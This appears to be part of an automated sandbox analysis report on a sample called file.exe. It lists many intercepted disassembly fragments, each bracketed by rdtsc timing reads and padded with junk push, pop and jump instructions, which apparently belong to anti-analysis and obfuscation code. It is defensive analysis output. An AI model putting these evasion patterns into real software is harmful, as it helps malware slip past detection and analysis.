Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB002B second address: FB003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB003C second address: FB0049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FF0F8740858h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFD44 second address: FAFD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3403 second address: FB3408 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3408 second address: FB342C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F910250Ah 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF0F910250Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB342C second address: FB3430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3430 second address: FB3434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3561 second address: FB3565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3565 second address: FB3569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB36C1 second address: FB36D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Ch 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9200 second address: FB9204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7AEE second address: FB7B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF0F8740864h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7DBF second address: FB7DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FF0F9102513h 0x0000000e jmp 00007FF0F9102512h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7DF2 second address: FB7DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7DF6 second address: FB7DFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7F7A second address: FB7F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7F80 second address: FB7F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7F84 second address: FB7F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7F88 second address: FB7F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8100 second address: FB8120 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0F8740856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF0F8740866h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64EB2 second address: F64F24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102515h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jne 00007FF0F910250Eh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FF0F9102508h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov edx, 6DE6C001h 0x00000031 movsx edx, si 0x00000034 mov ebx, dword ptr [ebp+12486EDDh] 0x0000003a mov cl, ah 0x0000003c add eax, ebx 0x0000003e mov dx, 60AFh 0x00000042 mov di, dx 0x00000045 push eax 0x00000046 push edx 0x00000047 jl 00007FF0F910250Ch 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64F24 second address: F64F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 jno 00007FF0F8740859h 0x0000000e mov cx, AFD5h 0x00000012 push 00000004h 0x00000014 mov dx, 3D8Ch 0x00000018 mov edx, dword ptr [ebp+122D2AC6h] 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64F4B second address: F64F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64F4F second address: F64F6C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF0F8740864h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB83CC second address: FB83D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD1CF second address: FBD1D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD1D3 second address: FBD1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD1DF second address: FBD20D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF0F874085Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FF0F8740858h 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007FF0F8740856h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD20D second address: FBD21D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD21D second address: FBD223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD223 second address: FBD22F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD22F second address: FBD233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3A1 second address: FBD3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3A5 second address: FBD3D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0F8740856h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FF0F8740863h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3D1 second address: FBD3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3D7 second address: FBD3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF0F874085Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD3EB second address: FBD3EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD926 second address: FBD93D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD93D second address: FBD971 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF0F910250Ch 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007FF0F9102506h 0x0000001f jmp 00007FF0F910250Ah 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD971 second address: FBD975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD975 second address: FBD987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD987 second address: FBD98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD98D second address: FBD9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F910250Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD9A1 second address: FBD9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5299 second address: FC529E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC529E second address: FC52A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC52A4 second address: FC52AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF0F9102506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9748 second address: FC975B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F874085Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC975B second address: FC975F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC975F second address: FC9796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0F8740862h 0x0000000b jnp 00007FF0F874085Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push esi 0x00000016 jo 00007FF0F8740856h 0x0000001c push esi 0x0000001d pop esi 0x0000001e pop esi 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007FF0F874085Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9796 second address: FC97A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnl 00007FF0F9102506h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97A4 second address: FC97AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97AC second address: FC97E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0F9102516h 0x00000008 jmp 00007FF0F9102519h 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8FEF second address: FC8FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8FFB second address: FC9005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9124 second address: FC9145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Ah 0x00000007 push edx 0x00000008 jmp 00007FF0F8740862h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC92B1 second address: FC92D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF0F910250Ah 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC92D3 second address: FC92E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF0F8740856h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC92E2 second address: FC92E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC92E6 second address: FC92EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC940D second address: FC9421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007FF0F9102508h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9421 second address: FC9425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9425 second address: FC943E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF0F9102513h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDF6C second address: FCDFA0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FF0F8740856h 0x00000009 jo 00007FF0F8740856h 0x0000000f pop ebx 0x00000010 jmp 00007FF0F874085Dh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF0F8740863h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF56E second address: FCF573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF573 second address: FCF579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF579 second address: FCF583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0F9102506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6DCD second address: FD6DE1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007FF0F8740856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FF0F874085Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5468 second address: FD546E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD546E second address: FD5479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD55D6 second address: FD55DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD55DB second address: FD55EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF0F8740856h 0x0000000a pop eax 0x0000000b jc 00007FF0F8740862h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD55EE second address: FD5603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF0F9102506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FF0F910251Eh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5799 second address: FD57A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF0F8740856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A0E second address: FD5A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A14 second address: FD5A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A1C second address: FD5A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A24 second address: FD5A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5A2A second address: FD5A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0F9102515h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5BE0 second address: FD5BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6C3C second address: FD6C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FF0F9102515h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4AB6 second address: FD4ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4ABB second address: FD4AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F9102518h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4AD9 second address: FD4ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDAA3 second address: FDDAB9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F9102506h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jng 00007FF0F9102506h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDAB9 second address: FDDACF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FF0F8740856h 0x00000010 jbe 00007FF0F8740856h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDACF second address: FDDAF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102512h 0x00000007 jnc 00007FF0F9102506h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push esi 0x00000011 jl 00007FF0F910250Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDAF5 second address: FDDAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDAFD second address: FDDB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF0F9102506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDD7C second address: FDDD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDD80 second address: FDDD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE01FF second address: FE0203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0203 second address: FE0229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jg 00007FF0F9102506h 0x00000010 pop ebx 0x00000011 jns 00007FF0F9102515h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE0229 second address: FE023D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF0F874085Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B93 second address: FE9B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9B97 second address: FE9BAE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF0F8740856h 0x00000008 jmp 00007FF0F874085Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED1CF second address: FED1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED1D5 second address: FED1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
